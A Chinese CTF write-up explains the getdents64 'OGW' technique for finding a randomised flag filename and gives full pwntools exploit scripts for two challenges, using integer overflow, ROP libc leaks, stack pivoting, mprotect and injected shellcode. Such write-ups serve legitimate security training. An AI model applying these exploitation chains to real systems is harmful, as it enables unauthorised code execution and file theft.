getdents64_ogw手法的利用
getdents64
函数是 Linux 操作系统中的一个系统调用,用于读取指定目录的目录项信息。它的功能是从指定的目录中读取目录项的详细信息,包括文件名、文件类型、文件的 inode 号等
"64" 表示支持大文件(64 位文件偏移)
参数:
-
fd
:文件描述符,通常是一个已经打开的目录文件的文件描述符。-
dirent
:一个用于存储目录项信息的缓冲区。-
count
:dirent
缓冲区的大小,以字节为单位。返回值:
- 成功时,返回读取的字节数。
- 如果已到达目录的末尾(没有更多的目录项可读),返回 0。
- 出错时,返回 -1,并设置
errno
变量来指示错误的类型。- 功能:
getdents64
函数用于扫描目录并读取目录中的所有目录项。每次调用该函数时,它会读取尽可能多的目录项,直到dirent
缓冲区填满或者目录已经读取完毕。- 目录项信息: 目录项的信息是以一个特定的结构体
struct linux_dirent64
的形式返回的。这个结构体包含了目录项的各种属性,如文件名、文件类型、inode 号等
OGW是指使用open、getdents64、write函数来将目录中的文件名读入指定区域的利用手法
hgame2022-oldfashion orw
存在整形溢出
p.sendlineafter('size?\n','-1')
获取libc基址:
pl = b'a'*0x38+p64(rdi)+p64(1)+p64(rsi_r15)+p64(write_got)+p64(0)+p64(write_plt)+p64(main)
p.send(pl)
libc_base = uu64(p.recvuntil('\x7f')[-6:])-libc.sym['write']
li(hex(libc_base))
我们获取libc基址后,便可得到系统调用syscall,下面就可以根据调用号开始构造函数
OGW:
由于我是对NSSCTF收录的18版本的oldfashion orw进行复现,所以这道题和原版的20版本的oldfashion orw有些差距,同时还缺少了一个提示性文件:
stat.sh:
#!/bin/bash
rm /home/ctf/flag*
cp /flag "/home/ctf/flag`head /dev/urandom |cksum |md5sum |cut -c 1-20`"
cd /home/ctf
exec 2>/dev/null
/usr/sbin/chroot --userspec=1000:1000 /home/ctf timeout 300 ./vuln
可以看到flag文件后面跟了长度20的随机字符串,也就是说我们没办法通过传统orw方式读取flag,需要得知存放flag文件的文件名
这时候可以利用getdents64
函数来获取目录下的文件
参数一:fd指针
参数二:写入的内存区域
参数三:4096
功能:把当前文件目录下的文件名写入参数二指向的内存区域
ls命令是怎样实现的,getdents64,linux-2.6.27.5
字符串本质上是一个地址,open和getdents64函数的目录参数也是地址
#mproject(bss,0x1000,7)
p.sendlineafter('size?\n','-1')
pl = b'a'*0x38+p64(rdi)+p64(bss)+p64(rsi_r15)+p64(0x1000)+p64(0)+p64(rdx)+p64(7)+p64(mprotect)+p64(main)
p.send(pl)
#read(0,bss+0x200,0x100)
p.sendlineafter('size?\n','-1')
pl = b'a'*0x38+p64(rdi)+p64(0)+p64(rsi_r15)+p64(bss+0x200)+p64(0)+p64(rdx)+p64(0x100)+p64(read_addr)+p64(bss+0x200)
p.send(pl)
p.recv()
我们需要先构造写到bss段的read函数来读入目录名
#OGW
shellcode = b''
shellcode += asm(shellcraft.open('./'))
shellcode += asm(shellcraft.getdents64(3, bss+0x300, 0x100))
shellcode += asm(shellcraft.write(1,bss+0x300, 0x100))
shellcode += asm('''
mov rdi, 0; mov rsi, 0x%x;mov rdx, 0x100;mov rax, 0; syscall; push rsi; ret;
''' % (main))
p.send(shellcode)
这里核心是getdents64系统调用,它读取目录文件中的一个个目录项(directory entry)并返回
我们首先在bss+0x30构造了第一个read用于下面读取'./',ogw实现将getdents64读取的目录参数读入bss+0x100,再打印出来
p.recvuntil('flag')
flag20 = b'flag'+p.recv(20)
print(flag20) #flag16db44a3ec6a5c404373
接受到flag文件名后我们便可以通过构造第二个read输入'flag16db44a3ec6a5c404373'构成 './flag16db44a3ec6a5c404373' ,然后通过orw读写放入bss+0x200段的flag文件的内容
#read(0,bss+0x400,0x100)
p.sendline('-1')
#ORW
p.recvuntil('done!\n')
shellcode = b''
shellcode += asm(shellcraft.open('flag16db44a3ec6a5c404373'))
shellcode += asm(shellcraft.read(4,bss+0x600,0x100))
shellcode += asm(shellcraft.write(1,bss+0x600,0x100))
shellcode += asm('''
mov rdi, 0; mov rsi, 0x%x;mov rdx, 0x100;mov rax, 0; syscall; push rsi; ret;
''' % (main))
p.send(shellcode)
exp:
# encoding = utf-8
from pwn import *
from pwnlib.rop import *
from pwnlib.context import *
from pwnlib.fmtstr import *
from pwnlib.util.packing import *
from pwnlib.gdb import *
from ctypes import *
import os
import sys
import time
import base64
context.os = 'linux'
context.arch = 'amd64'
# context.arch = 'i386'
context.log_level = "debug"
name = './pwn'
ldfile = './ld-linux-x86-64.so.2'
libcso = './libc.so.6'
libc = ELF(libcso)
elf = ELF(name)
debug = 0
if debug:
p = remote('127.0.0.1',8000)
else:
#p = process([ldfile, name], env={"LD_PRELOAD": libcso})
p = process(name)
s = lambda data :p.send(data)
sa = lambda delim,data :p.sendafter(str(delim), str(data))
sl = lambda data :p.sendline(data)
sla = lambda delim,data :p.sendlineafter(str(delim), str(data))
r = lambda num :p.recv(num)
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
itr = lambda :p.interactive()
uu32 = lambda data,num :u32(p.recvuntil(data)[-num:].ljust(4,b'\x00'))
uu64 = lambda data,num :u64(p.recvuntil(data)[-num:].ljust(8,b'\x00'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
l64 = lambda :u64(p.recvuntil("\x7f")[-6:].ljust(8,b"\x00"))
l32 = lambda :u32(p.recvuntil("\xf7")[-4:].ljust(4,b"\x00"))
#p.readuntil(b'\n')
li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')
context.terminal = ['gnome-terminal','-x','sh','-c']
rdi=0x0000000000401443
rsi_r15=0x0000000000401441
ret=0x000000000040101a
bss=0x404000
main = 0x401311
write_got = elf.got['write']
write_plt = elf.plt['write']
#1 write(1,write_addr,0x6)
p.sendlineafter('size?\n','-1')
pl = b'a'*0x38+p64(rdi)+p64(1)+p64(rsi_r15)+p64(write_got)+p64(0)+p64(write_plt)+p64(main)
p.send(pl)
libc_base = uu64(p.recvuntil('\x7f')[-6:])-libc.sym['write']
li(hex(libc_base))
open_addr = libc_base + libc.sym['open']
read_addr = libc_base + libc.sym['read']
puts_addr = libc_base + libc.sym['puts']
syscall = libc_base + libc.sym['syscall']
sys = libc_base + libc.sym['system']
bin_sh = libc_base + next(libc.search(b'/bin/sh'))
mprotect = libc_base+libc.sym['mprotect']
rdx = libc_base + 0x0000000000142c92
#2 mproject(bss,0x1000,7)
p.sendlineafter('size?\n','-1')
pl = b'a'*0x38+p64(rdi)+p64(bss)+p64(rsi_r15)+p64(0x1000)+p64(0)+p64(rdx)+p64(7)+p64(mprotect)+p64(main)
p.send(pl)
#3 read(0,bss+0x200,0x100)
p.sendlineafter('size?\n','-1')
pl = b'a'*0x38+p64(rdi)+p64(0)+p64(rsi_r15)+p64(bss+0x200)+p64(0)+p64(rdx)+p64(0x100)+p64(read_addr)+p64(bss+0x200)
p.send(pl)
p.recv()
#.4 OGW
shellcode = b''
shellcode += asm(shellcraft.open('./'))
shellcode += asm(shellcraft.getdents64(3, bss+0x300, 0x100))
shellcode += asm(shellcraft.write(1,bss+0x300, 0x100))
shellcode += asm('''
mov rdi, 0; mov rsi, 0x%x;mov rdx, 0x100;mov rax, 0; syscall; push rsi; ret;
''' % (main))
p.send(shellcode)
p.recvuntil('flag')
flag20 = b'flag'+p.recv(20)
print(flag20) #flag16db44a3ec6a5c404373
#5 read(0,bss+0x400,0x100)
p.sendline('-1')
pl = b'a'*0x38+p64(rdi)+p64(0)+p64(rsi_r15)+p64(bss+0x400)+p64(0)+p64(rdx)+p64(0x100)+p64(read_addr)+p64(bss+0x400)
p.send(pl)
#6 ORW
p.recvuntil('done!\n')
shellcode = b''
shellcode += asm(shellcraft.open('flag16db44a3ec6a5c404373'))
shellcode += asm(shellcraft.read(4,bss+0x600,0x100))
shellcode += asm(shellcraft.write(1,bss+0x600,0x100))
shellcode += asm('''
mov rdi, 0; mov rsi, 0x%x;mov rdx, 0x100;mov rax, 0; syscall; push rsi; ret;
''' % (main))
p.send(shellcode)
itr()
黄河流域2022-flag??????
比赛出的一道题,利用手法是栈迁移,但改了flag名称
在flag文件名未知的情况下无法构造常规orw来读取
这时候可以利用getdents64函数,它读取目录文件中的一个个目录项并返回
参数一:fd指针
参数二:写入的内存区域
参数三:4096
功能:把当前文件目录下的文件名写入参数二指向的内存区域
ogw实现将getdents64读取的目录参数放入bss段,再打印出来
pay=p64(bss6+0x70)+p64(pop_rdi)+p64(0)+p64(pop_rsi)+p64(bss6+0x200)+p64(pop_rdx12)+p64(0x100)+p64(0x401090)+p64(read_addr)+p64(bss6+0x200)
r.send(pay)
sleep(0.2)
shellcode = b''
shellcode += asm(shellcraft.open('./'))
shellcode += asm(shellcraft.getdents64(3, bss9, 0x200))
shellcode += asm(shellcraft.write(1,bss9, 0x200))
shellcode += asm('''
mov rdi, 0; mov rsi, 0x%x;mov rdx, 0x100;mov rax, 0; syscall; push rsi; ret;
''' % (main))
r.send(shellcode)
再获取flag文件名flag284876
后,我们在构造orw读取flag
exp:
from pwn import *
context.os = 'linux'
context.arch = 'amd64'
#context.arch = 'i386'
context.log_level = "debug"
r=process('./pwn')
elf=ELF('./pwn')
libc=ELF('./libc-2.31.so')
li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')
context.terminal = ['gnome-terminal','-x','sh','-c']
def dbg():
gdb.attach(proc.pidof(r)[0])
pause()
bss = 0x404200
bss5 = 0x404500-0x200
bss6 = 0x404600-0x200
bss7 = 0x404700-0x200
bss8 = 0x404800-0x200
bss9 = 0x404900-0x200
rdi=0x401283
rsi_r15=0x401281
ret=0x40101a
main=0x4011DB
read=0x4011FD
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
r.recv()
pay=b'a'*0x60+p64(bss)+p64(read)
r.send(pay)
pay=b'a'*0x60+p64(bss+0x60)+p64(read)
r.send(pay)
pay=p64(bss+0x70)+p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(main)
r.send(pay)
leak=u64(r.recv(6)+b'\x00'*2)
base=leak-libc.sym['puts']
print(hex(base))
pop_rdi = base + libc.search(asm('pop rdi;ret;')).__next__()
pop_rsi = base + libc.search(asm('pop rsi;ret;')).__next__()
pop_rdx = base + libc.search(asm('pop rdx;ret;')).__next__()
pop_rdx12 = base + libc.search(asm('pop rdx;pop r12;ret;')).__next__()
read_addr = base + libc.sym['read']
mprotect = base + libc.sym['mprotect']
r.recv()
pay=b'a'*0x60+p64(bss5)+p64(read)
r.send(pay)
pay=b'a'*0x60+p64(bss5+0x60)+p64(read)
r.send(pay)
pay = p64(bss5+0x70)+p64(rdi)+p64(0x404000)+p64(rsi_r15)+p64(0x1000)+p64(0)+p64(pop_rdx12)+p64(7)+p64(0x401090)+p64(mprotect)+p64(main)
r.send(pay)
r.recv()
pay=b'a'*0x60+p64(bss6)+p64(read)
r.send(pay)
pay=b'a'*0x60+p64(bss6+0x60)+p64(read)
r.send(pay)
pay=p64(bss6+0x70)+p64(pop_rdi)+p64(0)+p64(pop_rsi)+p64(bss6+0x200)+p64(pop_rdx12)+p64(0x100)+p64(0x401090)+p64(read_addr)+p64(bss6+0x200)
r.send(pay)
sleep(0.2)
shellcode = b''
shellcode += asm(shellcraft.open('./'))
shellcode += asm(shellcraft.getdents64(3, bss9, 0x200))
shellcode += asm(shellcraft.write(1,bss9, 0x200))
shellcode += asm('''
mov rdi, 0; mov rsi, 0x%x;mov rdx, 0x100;mov rax, 0; syscall; push rsi; ret;
''' % (main))
r.send(shellcode)
r.recvuntil('flag')
flag=r.recv(6)
print(flag)
r.recv()
pay=b'a'*0x60+p64(bss7)+p64(read)
r.send(pay)
pay=b'a'*0x60+p64(bss7+0x60)+p64(read)
r.send(pay)
r.recv()
pay=p64(bss7+0x70)+p64(pop_rdi)+p64(0)+p64(pop_rsi)+p64(0x404800)+p64(pop_rdx12)+p64(0x100)+p64(0x401090)+p64(read_addr)+p64(0x404800)
r.send(pay)
sleep(0.2)
shellcode = b''
shellcode += asm(shellcraft.open('./flag284876'))
shellcode += asm(shellcraft.read(4,0x404900,0x100))
shellcode += asm(shellcraft.write(1,0x404900,0x100))
shellcode += asm('''
mov rdi, 0; mov rsi, 0x%x;mov rdx, 0x100;mov rax, 0; syscall; push rsi; ret;
''' % (main))
r.send(shellcode)
r.interactive()